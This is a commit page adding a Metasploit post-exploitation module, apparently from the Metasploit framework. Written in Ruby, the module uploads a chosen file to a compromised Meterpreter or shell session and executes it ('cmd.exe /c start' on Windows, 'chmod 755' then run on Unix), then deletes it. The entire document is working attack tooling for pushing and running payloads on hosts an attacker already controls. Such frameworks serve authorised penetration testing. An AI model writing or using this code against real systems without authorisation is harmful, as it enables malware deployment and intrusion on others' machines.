Add a simple upload exec module

This commit is contained in:
James Lee
2017-04-17 19:34:21 -05:00
parent 85845b3be5
commit 84dd5cd01a
+52
View File
@@ -0,0 +1,52 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Upload and Execute',
'Description' => %q{ Push a file and execute it },
'License' => MSF_LICENSE,
'Author' => [ 'egypt'],
'Platform' => [ 'win','linux','osx' ],
'SessionTypes' => [ 'meterpreter','shell' ]
))
register_options(
[
OptPath.new('LFILE', [true,'Local file to upload and execute']),
OptString.new('RFILE', [false,'Name of file on target (default is basename of LFILE)']),
], self.class)
end
def rfile
if datastore['RFILE'].blank?
remote_name = File.basename(datastore['LFILE'])
else
remote_name = datastore['RFILE']
end
remote_name
end
def lfile
datastore['LFILE']
end
def run
upload_file(rfile, lfile)
if session.platform.include?("windows")
cmd_exec("cmd.exe /c start #{rfile}", nil, 0)
else
cmd_exec("chmod 755 #{rfile} && ./#{rfile}", nil, 0)
end
rm_f(rfile)
end
end